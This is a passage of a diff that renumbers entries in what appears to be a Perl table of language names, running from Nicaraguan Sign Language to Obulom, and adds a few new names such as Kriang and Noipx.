+   q(4772) => [
       q(Nicaraguan Sign Language),
       ],
-   q(4771) => [
+   q(4773) => [
       q(Chothe Naga),
       ],
-   q(4772) => [
+   q(4774) => [
       q(Chumburung),
       ],
-   q(4773) => [
+   q(4775) => [
       q(Central Puebla Nahuatl),
       ],
-   q(4774) => [
+   q(4776) => [
       q(Natchez),
       ],
-   q(4775) => [
+   q(4777) => [
       q(Ndasa),
       ],
-   q(4776) => [
+   q(4778) => [
       q(Kenswei Nsei),
       ],
-   q(4777) => [
+   q(4779) => [
       q(Ndau),
       ],
-   q(4778) => [
+   q(4780) => [
       q(Nde-Nsele-Nta),
       ],
-   q(4779) => [
+   q(4781) => [
       q(Nadruvian),
       ],
-   q(4780) => [
+   q(4782) => [
       q(Ndengereko),
       ],
-   q(4781) => [
+   q(4783) => [
       q(Ndali),
       ],
-   q(4782) => [
+   q(4784) => [
       q(Samba Leko),
       ],
-   q(4783) => [
+   q(4785) => [
       q(Ndamba),
       ],
-   q(4784) => [
+   q(4786) => [
       q(Ndaka),
       ],
-   q(4785) => [
+   q(4787) => [
       q(Ndolo),
       ],
-   q(4786) => [
+   q(4788) => [
       q(Ndam),
       ],
-   q(4787) => [
+   q(4789) => [
       q(Ngundi),
       ],
-   q(4788) => [
+   q(4790) => [
       q(Ndo),
       ],
-   q(4789) => [
+   q(4791) => [
       q(Ndombe),
       ],
-   q(4790) => [
+   q(4792) => [
       q(Ndoola),
       ],
-   q(4791) => [
+   q(4793) => [
       q(Ndunga),
       ],
-   q(4792) => [
+   q(4794) => [
       q(Dugun),
       ],
-   q(4793) => [
+   q(4795) => [
       q(Ndut),
       ],
-   q(4794) => [
+   q(4796) => [
       q(Ndobo),
       ],
-   q(4795) => [
+   q(4797) => [
       q(Nduga),
       ],
-   q(4796) => [
+   q(4798) => [
       q(Lutos),
       ],
-   q(4797) => [
+   q(4799) => [
       q(Ndogo),
       ],
-   q(4798) => [
+   q(4800) => [
       q(Eastern Ngad'a),
       ],
-   q(4799) => [
+   q(4801) => [
       q(Toura (Cote d'Ivoire)),
       ],
-   q(4800) => [
+   q(4802) => [
       q(Nedebang),
       ],
-   q(4801) => [
+   q(4803) => [
       q(Nde-Gbite),
       ],
-   q(4802) => [
+   q(4804) => [
       q(Nelemwa-Nixumwak),
       ],
-   q(4803) => [
+   q(4805) => [
       q(Nefamese),
       ],
-   q(4804) => [
+   q(4806) => [
       q(Negidal),
       ],
-   q(4805) => [
+   q(4807) => [
       q(Nyenkha),
       ],
-   q(4806) => [
+   q(4808) => [
       q(Neo-Hittite),
       ],
-   q(4807) => [
+   q(4809) => [
       q(Neko),
       ],
-   q(4808) => [
+   q(4810) => [
       q(Neku),
       ],
-   q(4809) => [
+   q(4811) => [
       q(Nemi),
       ],
-   q(4810) => [
+   q(4812) => [
       q(Nengone),
       ],
-   q(4811) => [
+   q(4813) => [
       q(Na-Meo),
       ],
-   q(4812) => [
+   q(4814) => [
       q(North Central Mixe),
       ],
-   q(4813) => [
+   q(4815) => [
       q(Yahadian),
       ],
-   q(4814) => [
+   q(4816) => [
       q(Bhoti Kinnauri),
       ],
-   q(4815) => [
+   q(4817) => [
       q(Nete),
       ],
-   q(4816) => [
+   q(4818) => [
       q(Neo),
       ],
-   q(4817) => [
+   q(4819) => [
       q(Nyaheun),
       ],
-   q(4818) => [
+   q(4820) => [
       q(Neme),
       ],
-   q(4819) => [
+   q(4821) => [
       q(Neyo),
       ],
-   q(4820) => [
+   q(4822) => [
       q(Nez Perce),
       ],
-   q(4821) => [
+   q(4823) => [
       q(Dhao),
       ],
-   q(4822) => [
+   q(4824) => [
       q(Ahwai),
       ],
-   q(4823) => [
+   q(4825) => [
       q(Ayiwo),
       q(Aiwoo),
       ],
-   q(4824) => [
+   q(4826) => [
       q(Nafaanra),
       ],
-   q(4825) => [
+   q(4827) => [
       q(Mfumte),
       ],
-   q(4826) => [
+   q(4828) => [
       q(Ngbaka),
       ],
-   q(4827) => [
+   q(4829) => [
       q(Northern Ngbandi),
       ],
-   q(4828) => [
+   q(4830) => [
       q(Ngombe (Democratic Republic of Congo)),
       ],
-   q(4829) => [
+   q(4831) => [
       q(Ngando (Central African Republic)),
       ],
-   q(4830) => [
+   q(4832) => [
       q(Ngemba),
       ],
-   q(4831) => [
+   q(4833) => [
       q(Ngbaka Manza),
       ],
-   q(4832) => [
+   q(4834) => [
       q(N/u),
       q(Nu),
       ],
-   q(4833) => [
+   q(4835) => [
       q(Ngizim),
       ],
-   q(4834) => [
+   q(4836) => [
       q(Ngie),
       ],
-   q(4835) => [
+   q(4837) => [
       q(Dalabon),
       ],
-   q(4836) => [
+   q(4838) => [
       q(Lomwe),
       ],
-   q(4837) => [
+   q(4839) => [
       q(Ngatik Men's Creole),
       ],
-   q(4838) => [
+   q(4840) => [
       q(Ngwo),
       ],
-   q(4839) => [
+   q(4841) => [
       q(Ngoni),
       ],
-   q(4840) => [
+   q(4842) => [
       q(Ngulu),
       ],
-   q(4841) => [
+   q(4843) => [
       q(Ngurimi),
       q(Ngoreme),
       ],
-   q(4842) => [
+   q(4844) => [
       q(Engdewu),
       ],
-   q(4843) => [
+   q(4845) => [
       q(Gvoko),
       ],
-   q(4844) => [
+   q(4846) => [
+      q(Kriang),
       q(Ngeq),
       ],
-   q(4845) => [
+   q(4847) => [
       q(Guerrero Nahuatl),
       ],
-   q(4846) => [
+   q(4848) => [
       q(Nagumi),
       ],
-   q(4847) => [
+   q(4849) => [
       q(Ngwaba),
       ],
-   q(4848) => [
+   q(4850) => [
       q(Nggwahyi),
       ],
-   q(4849) => [
+   q(4851) => [
       q(Tibea),
       ],
-   q(4850) => [
+   q(4852) => [
       q(Ngungwel),
       ],
-   q(4851) => [
+   q(4853) => [
       q(Nhanda),
       ],
-   q(4852) => [
+   q(4854) => [
       q(Beng),
       ],
-   q(4853) => [
+   q(4855) => [
       q(Tabasco Nahuatl),
       ],
-   q(4854) => [
+   q(4856) => [
       q(Chiripa),
       q(Ava Guarani),
       ],
-   q(4855) => [
+   q(4857) => [
       q(Eastern Huasteca Nahuatl),
       ],
-   q(4856) => [
+   q(4858) => [
       q(Nhuwala),
       ],
-   q(4857) => [
+   q(4859) => [
       q(Tetelcingo Nahuatl),
       ],
-   q(4858) => [
+   q(4860) => [
       q(Nahari),
       ],
-   q(4859) => [
+   q(4861) => [
       q(Zacatlan-Ahuacatlan-Tepetzintla Nahuatl),
       ],
-   q(4860) => [
+   q(4862) => [
       q(Isthmus-Cosoleacaque Nahuatl),
       ],
-   q(4861) => [
+   q(4863) => [
       q(Morelos Nahuatl),
       ],
-   q(4862) => [
+   q(4864) => [
       q(Central Nahuatl),
       ],
-   q(4863) => [
+   q(4865) => [
       q(Takuu),
       ],
-   q(4864) => [
+   q(4866) => [
       q(Isthmus-Pajapan Nahuatl),
       ],
-   q(4865) => [
+   q(4867) => [
       q(Huaxcaleca Nahuatl),
       ],
-   q(4866) => [
+   q(4868) => [
       q(Naro),
       ],
-   q(4867) => [
+   q(4869) => [
       q(Ometepec Nahuatl),
       ],
-   q(4868) => [
+   q(4870) => [
       q(Noone),
       ],
-   q(4869) => [
+   q(4871) => [
       q(Temascaltepec Nahuatl),
       ],
-   q(4870) => [
+   q(4872) => [
       q(Western Huasteca Nahuatl),
       ],
-   q(4871) => [
+   q(4873) => [
       q(Isthmus-Mecayapan Nahuatl),
       ],
-   q(4872) => [
+   q(4874) => [
       q(Northern Oaxaca Nahuatl),
       ],
-   q(4873) => [
+   q(4875) => [
       q(Santa Maria La Alta Nahuatl),
       ],
-   q(4874) => [
+   q(4876) => [
       q(Nakame),
       ],
-   q(4875) => [
+   q(4877) => [
       q(Ngandi),
       ],
-   q(4876) => [
+   q(4878) => [
       q(Niellim),
       ],
-   q(4877) => [
+   q(4879) => [
       q(Nek),
       ],
-   q(4878) => [
+   q(4880) => [
       q(Ngalakan),
       ],
-   q(4879) => [
+   q(4881) => [
       q(Nyiha (Tanzania)),
       ],
-   q(4880) => [
+   q(4882) => [
       q(Nii),
       ],
-   q(4881) => [
+   q(4883) => [
       q(Ngaju),
       ],
-   q(4882) => [
+   q(4884) => [
       q(Southern Nicobarese),
       ],
-   q(4883) => [
+   q(4885) => [
       q(Nila),
       ],
-   q(4884) => [
+   q(4886) => [
       q(Nilamba),
       ],
-   q(4885) => [
+   q(4887) => [
       q(Ninzo),
       ],
-   q(4886) => [
+   q(4888) => [
       q(Nganasan),
       ],
-   q(4887) => [
+   q(4889) => [
       q(Nandi),
       ],
-   q(4888) => [
+   q(4890) => [
       q(Nimboran),
       ],
-   q(4889) => [
+   q(4891) => [
       q(Nimi),
       ],
-   q(4890) => [
+   q(4892) => [
       q(Southeastern Kolami),
       ],
-   q(4891) => [
+   q(4893) => [
       q(Gilyak),
       ],
-   q(4892) => [
+   q(4894) => [
       q(Nimo),
       ],
-   q(4893) => [
+   q(4895) => [
       q(Hema),
       ],
-   q(4894) => [
+   q(4896) => [
       q(Ngiti),
       ],
-   q(4895) => [
+   q(4897) => [
       q(Ningil),
       ],
-   q(4896) => [
+   q(4898) => [
       q(Nzanyi),
       ],
-   q(4897) => [
+   q(4899) => [
       q(Nocte Naga),
       ],
-   q(4898) => [
+   q(4900) => [
       q(Ndonde Hamba),
       ],
-   q(4899) => [
+   q(4901) => [
       q(Lotha Naga),
       ],
-   q(4900) => [
+   q(4902) => [
       q(Gudanji),
       ],
-   q(4901) => [
+   q(4903) => [
       q(Njen),
       ],
-   q(4902) => [
+   q(4904) => [
       q(Njalgulgule),
       ],
-   q(4903) => [
+   q(4905) => [
       q(Angami Naga),
       ],
-   q(4904) => [
+   q(4906) => [
       q(Liangmai Naga),
       ],
-   q(4905) => [
+   q(4907) => [
       q(Ao Naga),
       ],
-   q(4906) => [
+   q(4908) => [
       q(Njerep),
       ],
-   q(4907) => [
+   q(4909) => [
       q(Nisa),
       ],
-   q(4908) => [
+   q(4910) => [
       q(Ndyuka-Trio Pidgin),
       ],
-   q(4909) => [
+   q(4911) => [
       q(Ngadjunmaya),
       ],
-   q(4910) => [
+   q(4912) => [
       q(Kunyi),
       ],
-   q(4911) => [
+   q(4913) => [
       q(Njyem),
       ],
-   q(4912) => [
+   q(4914) => [
       q(Nyishi),
       ],
-   q(4913) => [
+   q(4915) => [
       q(Nkoya),
       ],
-   q(4914) => [
+   q(4916) => [
       q(Khoibu Naga),
       ],
-   q(4915) => [
+   q(4917) => [
       q(Nkongho),
       ],
-   q(4916) => [
+   q(4918) => [
       q(Koireng),
       ],
-   q(4917) => [
+   q(4919) => [
       q(Duke),
       ],
-   q(4918) => [
+   q(4920) => [
       q(Inpui Naga),
       ],
-   q(4919) => [
+   q(4921) => [
       q(Nekgini),
       ],
-   q(4920) => [
+   q(4922) => [
       q(Khezha Naga),
       ],
-   q(4921) => [
+   q(4923) => [
       q(Thangal Naga),
       ],
-   q(4922) => [
+   q(4924) => [
       q(Nakai),
       ],
-   q(4923) => [
+   q(4925) => [
       q(Nokuku),
       ],
-   q(4924) => [
+   q(4926) => [
       q(Namat),
       ],
-   q(4925) => [
+   q(4927) => [
       q(Nkangala),
       ],
-   q(4926) => [
+   q(4928) => [
       q(Nkonya),
       ],
-   q(4927) => [
+   q(4929) => [
       q(Niuatoputapu),
       ],
-   q(4928) => [
+   q(4930) => [
       q(Nkami),
       ],
-   q(4929) => [
+   q(4931) => [
       q(Nukuoro),
       ],
-   q(4930) => [
+   q(4932) => [
       q(North Asmat),
       ],
-   q(4931) => [
+   q(4933) => [
       q(Nyika (Tanzania)),
       ],
-   q(4932) => [
+   q(4934) => [
       q(Bouna Kulango),
       ],
-   q(4933) => [
+   q(4935) => [
       q(Nyika (Malawi and Zambia)),
       ],
-   q(4934) => [
+   q(4936) => [
       q(Nkutu),
       ],
-   q(4935) => [
+   q(4937) => [
       q(Nkoroo),
       ],
-   q(4936) => [
+   q(4938) => [
       q(Nkari),
       ],
-   q(4937) => [
+   q(4939) => [
       q(Ngombale),
       ],
-   q(4938) => [
+   q(4940) => [
       q(Nalca),
       ],
-   q(4939) => [
+   q(4941) => [
       q(East Nyala),
       ],
-   q(4940) => [
+   q(4942) => [
       q(Gela),
       ],
-   q(4941) => [
+   q(4943) => [
       q(Grangali),
       ],
-   q(4942) => [
+   q(4944) => [
       q(Nyali),
       ],
-   q(4943) => [
+   q(4945) => [
       q(Ninia Yali),
       ],
-   q(4944) => [
+   q(4946) => [
       q(Nihali),
       ],
-   q(4945) => [
+   q(4947) => [
       q(Ngul),
       ],
-   q(4946) => [
+   q(4948) => [
       q(Lao Naga),
       ],
-   q(4947) => [
+   q(4949) => [
       q(Nchumbulu),
       ],
-   q(4948) => [
+   q(4950) => [
       q(Orizaba Nahuatl),
       ],
-   q(4949) => [
+   q(4951) => [
       q(Walangama),
       ],
-   q(4950) => [
+   q(4952) => [
       q(Nahali),
       ],
-   q(4951) => [
+   q(4953) => [
       q(Nyamal),
       ],
-   q(4952) => [
+   q(4954) => [
       q(Nalogo),
       ],
-   q(4953) => [
+   q(4955) => [
       q(Maram Naga),
       ],
-   q(4954) => [
+   q(4956) => [
       q(Big Nambas),
       q(V'enen Taut),
       ],
-   q(4955) => [
+   q(4957) => [
       q(Ngam),
       ],
-   q(4956) => [
+   q(4958) => [
       q(Ndumu),
       ],
-   q(4957) => [
+   q(4959) => [
       q(Mzieme Naga),
       ],
-   q(4958) => [
+   q(4960) => [
       q(Tangkhul Naga (India)),
       ],
-   q(4959) => [
+   q(4961) => [
       q(Kwasio),
       ],
-   q(4960) => [
+   q(4962) => [
       q(Monsang Naga),
       ],
-   q(4961) => [
+   q(4963) => [
       q(Nyam),
       ],
-   q(4962) => [
+   q(4964) => [
       q(Ngombe (Central African Republic)),
       ],
-   q(4963) => [
+   q(4965) => [
       q(Namakura),
       ],
-   q(4964) => [
+   q(4966) => [
       q(Ndemli),
       ],
-   q(4965) => [
+   q(4967) => [
       q(Manangba),
       ],
-   q(4966) => [
+   q(4968) => [
       q(!Xoo),
       q(Xoo),
       ],
-   q(4967) => [
+   q(4969) => [
       q(Moyon Naga),
       ],
-   q(4968) => [
+   q(4970) => [
       q(Nimanbur),
       ],
-   q(4969) => [
+   q(4971) => [
       q(Nambya),
       ],
-   q(4970) => [
+   q(4972) => [
       q(Nimbari),
       ],
-   q(4971) => [
+   q(4973) => [
       q(Letemboi),
       ],
-   q(4972) => [
+   q(4974) => [
       q(Namonuito),
       ],
-   q(4973) => [
+   q(4975) => [
       q(Northeast Maidu),
       ],
-   q(4974) => [
+   q(4976) => [
       q(Ngamini),
       ],
-   q(4975) => [
+   q(4977) => [
       q(Nimoa),
       q(Rifao),
       ],
-   q(4976) => [
+   q(4978) => [
       q(Nama (Papua New Guinea)),
       ],
-   q(4977) => [
+   q(4979) => [
       q(Namuyi),
       ],
-   q(4978) => [
+   q(4980) => [
       q(Nawdm),
       ],
-   q(4979) => [
+   q(4981) => [
       q(Nyangumarta),
       ],
-   q(4980) => [
+   q(4982) => [
       q(Nande),
       ],
-   q(4981) => [
+   q(4983) => [
       q(Nancere),
       ],
-   q(4982) => [
+   q(4984) => [
       q(West Ambae),
       ],
-   q(4983) => [
+   q(4985) => [
       q(Ngandyera),
       ],
-   q(4984) => [
+   q(4986) => [
       q(Ngaing),
       ],
-   q(4985) => [
+   q(4987) => [
       q(Maring Naga),
       ],
-   q(4986) => [
+   q(4988) => [
       q(Ngiemboon),
       ],
-   q(4987) => [
+   q(4989) => [
       q(North Nuaulu),
       ],
-   q(4988) => [
+   q(4990) => [
       q(Nyangatom),
       ],
-   q(4989) => [
+   q(4991) => [
       q(Nankina),
       ],
-   q(4990) => [
+   q(4992) => [
       q(Northern Rengma Naga),
       ],
-   q(4991) => [
+   q(4993) => [
       q(Namia),
       ],
-   q(4992) => [
+   q(4994) => [
       q(Ngete),
       ],
-   q(4993) => [
+   q(4995) => [
       q(Wancho Naga),
       ],
-   q(4994) => [
+   q(4996) => [
       q(Ngindo),
       ],
-   q(4995) => [
+   q(4997) => [
       q(Narungga),
       ],
-   q(4996) => [
+   q(4998) => [
       q(Ningye),
       ],
-   q(4997) => [
+   q(4999) => [
       q(Nanticoke),
       ],
-   q(4998) => [
+   q(5000) => [
       q(Dwang),
       ],
-   q(4999) => [
+   q(5001) => [
       q(Nugunu (Australia)),
       ],
-   q(5000) => [
+   q(5002) => [
       q(Southern Nuni),
       ],
-   q(5001) => [
+   q(5003) => [
       q(Nyangga),
       ],
-   q(5002) => [
+   q(5004) => [
       q(Nda'nda'),
       ],
-   q(5003) => [
+   q(5005) => [
       q(Woun Meu),
       ],
-   q(5004) => [
+   q(5006) => [
       q(Nuk),
       ],
-   q(5005) => [
+   q(5007) => [
       q(Northern Thai),
       ],
-   q(5006) => [
+   q(5008) => [
       q(Nimadi),
       ],
-   q(5007) => [
+   q(5009) => [
       q(Nomane),
       ],
-   q(5008) => [
+   q(5010) => [
       q(Nomu),
       ],
-   q(5009) => [
+   q(5011) => [
       q(Noiri),
       ],
-   q(5010) => [
+   q(5012) => [
       q(Nonuya),
       ],
-   q(5011) => [
+   q(5013) => [
       q(Nooksack),
       ],
-   q(5012) => [
+   q(5014) => [
       q(Nomlaki),
       ],
-   q(5013) => [
+   q(5015) => [
       q(Nocaman),
       ],
-   q(5014) => [
+   q(5016) => [
       q(Numanggang),
       ],
-   q(5015) => [
+   q(5017) => [
       q(Ngongo),
       ],
-   q(5016) => [
+   q(5018) => [
       q(Eastern Nisu),
       ],
-   q(5017) => [
+   q(5019) => [
       q(Nomatsiguenga),
       ],
-   q(5018) => [
+   q(5020) => [
       q(Ewage-Notu),
       ],
-   q(5019) => [
+   q(5021) => [
       q(Novial),
       ],
-   q(5020) => [
+   q(5022) => [
       q(Nyambo),
       ],
-   q(5021) => [
+   q(5023) => [
       q(Noy),
       ],
-   q(5022) => [
+   q(5024) => [
       q(Nayi),
       ],
-   q(5023) => [
+   q(5025) => [
       q(Nar Phu),
       ],
-   q(5024) => [
+   q(5026) => [
       q(Nupbikha),
       ],
-   q(5025) => [
+   q(5027) => [
       q(Ponyo-Gongwang Naga),
       ],
-   q(5026) => [
+   q(5028) => [
       q(Phom Naga),
       ],
-   q(5027) => [
+   q(5029) => [
       q(Nepali (individual language)),
       ],
-   q(5028) => [
+   q(5030) => [
       q(Southeastern Puebla Nahuatl),
       ],
-   q(5029) => [
+   q(5031) => [
       q(Mondropolon),
       ],
-   q(5030) => [
+   q(5032) => [
       q(Pochuri Naga),
       ],
-   q(5031) => [
+   q(5033) => [
       q(Nipsan),
       ],
-   q(5032) => [
+   q(5034) => [
       q(Puimei Naga),
       ],
-   q(5033) => [
+   q(5035) => [
+      q(Noipx),
+      ],
+   q(5036) => [
       q(Napu),
       ],
-   q(5034) => [
+   q(5037) => [
       q(Southern Nago),
       ],
-   q(5035) => [
+   q(5038) => [
       q(Kura Ede Nago),
       ],
-   q(5036) => [
+   q(5039) => [
+      q(Ngendelengo),
+      ],
+   q(5040) => [
       q(Ndom),
       ],
-   q(5037) => [
+   q(5041) => [
       q(Nen),
       ],
-   q(5038) => [
+   q(5042) => [
       q(Kyan-Karyaw Naga),
       ],
-   q(5039) => [
+   q(5043) => [
       q(Akyaung Ari Naga),
       ],
-   q(5040) => [
+   q(5044) => [
       q(Ngom),
       ],
-   q(5041) => [
+   q(5045) => [
       q(Nara),
       ],
-   q(5042) => [
+   q(5046) => [
       q(Noric),
       ],
-   q(5043) => [
+   q(5047) => [
       q(Southern Rengma Naga),
       ],
-   q(5044) => [
+   q(5048) => [
       q(Jerriais),
       q(Guernesiais),
       ],
-   q(5045) => [
+   q(5049) => [
       q(Narango),
       ],
-   q(5046) => [
+   q(5050) => [
       q(Chokri Naga),
       ],
-   q(5047) => [
+   q(5051) => [
       q(Ngarla),
       ],
-   q(5048) => [
+   q(5052) => [
       q(Ngarluma),
       ],
-   q(5049) => [
+   q(5053) => [
       q(Narom),
       ],
-   q(5050) => [
+   q(5054) => [
       q(Norn),
       ],
-   q(5051) => [
+   q(5055) => [
       q(North Picene),
       ],
-   q(5052) => [
+   q(5056) => [
       q(Norra),
       q(Nora),
       ],
-   q(5053) => [
+   q(5057) => [
       q(Northern Kalapuya),
       ],
-   q(5054) => [
+   q(5058) => [
       q(Narua),
       ],
-   q(5055) => [
+   q(5059) => [
       q(Ngurmbur),
       ],
-   q(5056) => [
+   q(5060) => [
       q(Lala),
       ],
-   q(5057) => [
+   q(5061) => [
       q(Sangtam Naga),
       ],
-   q(5058) => [
+   q(5062) => [
       q(Nshi),
       ],
-   q(5059) => [
+   q(5063) => [
       q(Southern Nisu),
       ],
-   q(5060) => [
+   q(5064) => [
       q(Nsenga),
       ],
-   q(5061) => [
+   q(5065) => [
       q(Northwestern Nisu),
       ],
-   q(5062) => [
+   q(5066) => [
       q(Ngasa),
       ],
-   q(5063) => [
+   q(5067) => [
       q(Ngoshie),
       ],
-   q(5064) => [
+   q(5068) => [
       q(Nigerian Sign Language),
       ],
-   q(5065) => [
+   q(5069) => [
       q(Naskapi),
       ],
-   q(5066) => [
+   q(5070) => [
       q(Norwegian Sign Language),
       ],
-   q(5067) => [
+   q(5071) => [
       q(Sumi Naga),
       ],
-   q(5068) => [
+   q(5072) => [
       q(Nehan),
       ],
-   q(5069) => [
+   q(5073) => [
       q(Nepalese Sign Language),
       ],
-   q(5070) => [
+   q(5074) => [
       q(Northern Sierra Miwok),
       ],
-   q(5071) => [
+   q(5075) => [
       q(Maritime Sign Language),
       ],
-   q(5072) => [
+   q(5076) => [
       q(Nali),
       ],
-   q(5073) => [
+   q(5077) => [
       q(Tase Naga),
       ],
-   q(5074) => [
+   q(5078) => [
       q(Sierra Negra Nahuatl),
       ],
-   q(5075) => [
+   q(5079) => [
       q(Southwestern Nisu),
       ],
-   q(5076) => [
+   q(5080) => [
       q(Navut),
       ],
-   q(5077) => [
+   q(5081) => [
       q(Nsongo),
       ],
-   q(5078) => [
+   q(5082) => [
       q(Nasal),
       ],
-   q(5079) => [
+   q(5083) => [
       q(Nisenan),
       ],
-   q(5080) => [
+   q(5084) => [
       q(Northern Tidung),
       ],
-   q(5081) => [
+   q(5085) => [
       q(Nathembo),
       ],
-   q(5082) => [
+   q(5086) => [
       q(Ngantangarra),
       ],
-   q(5083) => [
+   q(5087) => [
       q(Natioro),
       ],
-   q(5084) => [
+   q(5088) => [
       q(Ngaanyatjarra),
       ],
-   q(5085) => [
+   q(5089) => [
       q(Ikoma-Nata-Isenye),
       ],
-   q(5086) => [
+   q(5090) => [
       q(Nateni),
       ],
-   q(5087) => [
+   q(5091) => [
       q(Ntomba),
       ],
-   q(5088) => [
+   q(5092) => [
       q(Northern Tepehuan),
       ],
-   q(5089) => [
+   q(5093) => [
       q(Delo),
       ],
-   q(5090) => [
+   q(5094) => [
       q(Natugu),
       ],
-   q(5091) => [
+   q(5095) => [
       q(Nottoway),
       ],
-   q(5092) => [
+   q(5096) => [
       q(Tangkhul Naga (Myanmar)),
       ],
-   q(5093) => [
+   q(5097) => [
       q(Mantsi),
       ],
-   q(5094) => [
+   q(5098) => [
       q(Natanzi),
       ],
-   q(5095) => [
+   q(5099) => [
       q(Yuanga),
       ],
-   q(5096) => [
+   q(5100) => [
       q(Nukuini),
       ],
-   q(5097) => [
+   q(5101) => [
       q(Ngala),
       ],
-   q(5098) => [
+   q(5102) => [
       q(Ngundu),
       ],
-   q(5099) => [
+   q(5103) => [
       q(Nusu),
       ],
-   q(5100) => [
+   q(5104) => [
       q(Nungali),
       ],
-   q(5101) => [
+   q(5105) => [
       q(Ndunda),
       ],
-   q(5102) => [
+   q(5106) => [
       q(Ngumbi),
       ],
-   q(5103) => [
+   q(5107) => [
       q(Nyole),
       ],
-   q(5104) => [
+   q(5108) => [
       q(Nuu-chah-nulth),
       q(Nuuchahnulth),
       ],
-   q(5105) => [
+   q(5109) => [
       q(Nusa Laut),
       ],
-   q(5106) => [
+   q(5110) => [
       q(Niuafo'ou),
       ],
-   q(5107) => [
+   q(5111) => [
       q(Anong),
       ],
-   q(5108) => [
+   q(5112) => [
       q(Nguon),
       ],
-   q(5109) => [
+   q(5113) => [
       q(Nupe-Nupe-Tako),
       ],
-   q(5110) => [
+   q(5114) => [
       q(Nukumanu),
       ],
-   q(5111) => [
+   q(5115) => [
       q(Nukuria),
       ],
-   q(5112) => [
+   q(5116) => [
       q(Nuer),
       ],
-   q(5113) => [
+   q(5117) => [
       q(Nung (Viet Nam)),
       ],
-   q(5114) => [
+   q(5118) => [
       q(Ngbundu),
       ],
-   q(5115) => [
+   q(5119) => [
       q(Northern Nuni),
       ],
-   q(5116) => [
+   q(5120) => [
       q(Nguluwan),
       ],
-   q(5117) => [
+   q(5121) => [
       q(Mehek),
       ],
-   q(5118) => [
+   q(5122) => [
       q(Nunggubuyu),
       ],
-   q(5119) => [
+   q(5123) => [
       q(Tlamacazapa Nahuatl),
       ],
-   q(5120) => [
+   q(5124) => [
       q(Nasarian),
       ],
-   q(5121) => [
+   q(5125) => [
       q(Namiae),
       ],
-   q(5122) => [
+   q(5126) => [
       q(Nyokon),
       ],
-   q(5123) => [
+   q(5127) => [
       q(Nawathinehena),
       ],
-   q(5124) => [
+   q(5128) => [
       q(Nyabwa),
       ],
-   q(5125) => [
+   q(5129) => [
       q(Ngwe),
       ],
-   q(5126) => [
+   q(5130) => [
       q(Ngayawung),
       ],
-   q(5127) => [
+   q(5131) => [
       q(Southwest Tanna),
       ],
-   q(5128) => [
+   q(5132) => [
       q(Nyamusa-Molo),
       ],
-   q(5129) => [
+   q(5133) => [
       q(Nauo),
       ],
-   q(5130) => [
+   q(5134) => [
       q(Nawaru),
       ],
-   q(5131) => [
+   q(5135) => [
       q(Middle Newar),
       ],
-   q(5132) => [
+   q(5136) => [
       q(Nottoway-Meherrin),
       ],
-   q(5133) => [
+   q(5137) => [
       q(Nauete),
       ],
-   q(5134) => [
+   q(5138) => [
       q(Ngando (Democratic Republic of Congo)),
       ],
-   q(5135) => [
+   q(5139) => [
       q(Nage),
       ],
-   q(5136) => [
+   q(5140) => [
       q(Ngad'a),
       ],
-   q(5137) => [
+   q(5141) => [
       q(Nindi),
       ],
-   q(5138) => [
+   q(5142) => [
       q(Koki Naga),
       ],
-   q(5139) => [
+   q(5143) => [
       q(South Nuaulu),
       ],
-   q(5140) => [
+   q(5144) => [
       q(Numidian),
       ],
-   q(5141) => [
+   q(5145) => [
       q(Ngawun),
       ],
-   q(5142) => [
+   q(5146) => [
       q(Ndambomo),
       ],
-   q(5143) => [
+   q(5147) => [
       q(Naxi),
       ],
-   q(5144) => [
+   q(5148) => [
       q(Ninggerum),
       ],
-   q(5145) => [
+   q(5149) => [
       q(Narau),
       ],
-   q(5146) => [
+   q(5150) => [
       q(Nafri),
       ],
-   q(5147) => [
+   q(5151) => [
       q(Nyangbo),
       ],
-   q(5148) => [
+   q(5152) => [
       q(Nyanga-li),
       ],
-   q(5149) => [
+   q(5153) => [
       q(Nyore),
       q(Olunyole),
       ],
-   q(5150) => [
+   q(5154) => [
       q(Nyengo),
       ],
-   q(5151) => [
+   q(5155) => [
       q(Giryama),
       q(Kigiryama),
       ],
-   q(5152) => [
+   q(5156) => [
       q(Nyindu),
       ],
-   q(5153) => [
+   q(5157) => [
       q(Nyigina),
       ],
-   q(5154) => [
+   q(5158) => [
       q(Ama (Sudan)),
       ],
-   q(5155) => [
+   q(5159) => [
       q(Nyanga),
       ],
-   q(5156) => [
+   q(5160) => [
       q(Nyaneka),
       ],
-   q(5157) => [
+   q(5161) => [
       q(Nyeu),
       ],
-   q(5158) => [
+   q(5162) => [
       q(Nyang'i),
       ],
-   q(5159) => [
+   q(5163) => [
       q(Nayini),
       ],
-   q(5160) => [
+   q(5164) => [
       q(Nyiha (Malawi)),
       ],
-   q(5161) => [
+   q(5165) => [
       q(Nyunga),
       ],
-   q(5162) => [
+   q(5166) => [
       q(Nyawaygi),
       ],
-   q(5163) => [
+   q(5167) => [
       q(Nyungwe),
       ],
-   q(5164) => [
+   q(5168) => [
       q(Nyulnyul),
       ],
-   q(5165) => [
+   q(5169) => [
       q(Nyaw),
       ],
-   q(5166) => [
+   q(5170) => [
       q(Nganyaywana),
       ],
-   q(5167) => [
+   q(5171) => [
       q(Nyakyusa-Ngonde),
       ],
-   q(5168) => [
+   q(5172) => [
       q(Tigon Mbembe),
       ],
-   q(5169) => [
+   q(5173) => [
       q(Njebi),
       ],
-   q(5170) => [
+   q(5174) => [
       q(Nzakara),
       ],
-   q(5171) => [
+   q(5175) => [
       q(Zeme Naga),
       ],
-   q(5172) => [
+   q(5176) => [
       q(New Zealand Sign Language),
       ],
-   q(5173) => [
+   q(5177) => [
       q(Teke-Nzikou),
       ],
-   q(5174) => [
+   q(5178) => [
       q(Nzakambay),
       ],
-   q(5175) => [
+   q(5179) => [
       q(Nanga Dama Dogon),
       ],
-   q(5176) => [
+   q(5180) => [
       q(Orok),
       ],
-   q(5177) => [
+   q(5181) => [
       q(Oroch),
       ],
-   q(5178) => [
+   q(5182) => [
       q(Old Aramaic (up to 700 BCE)),
       q(Ancient Aramaic (up to 700 BCE)),
       ],
-   q(5179) => [
+   q(5183) => [
       q(Old Avar),
       ],
-   q(5180) => [
+   q(5184) => [
       q(Obispeno),
       ],
-   q(5181) => [
+   q(5185) => [
       q(Southern Bontok),
       ],
-   q(5182) => [
+   q(5186) => [
       q(Oblo),
       ],
-   q(5183) => [
+   q(5187) => [
       q(Moabite),
       ],
-   q(5184) => [
+   q(5188) => [
       q(Obo Manobo),
       ],
-   q(5185) => [
+   q(5189) => [
       q(Old Burmese),
       ],
-   q(5186) => [
+   q(5190) => [
       q(Old Breton),
       ],
-   q(5187) => [
+   q(5191) => [
       q(Obulom),
       ],
-   q(5188) => [
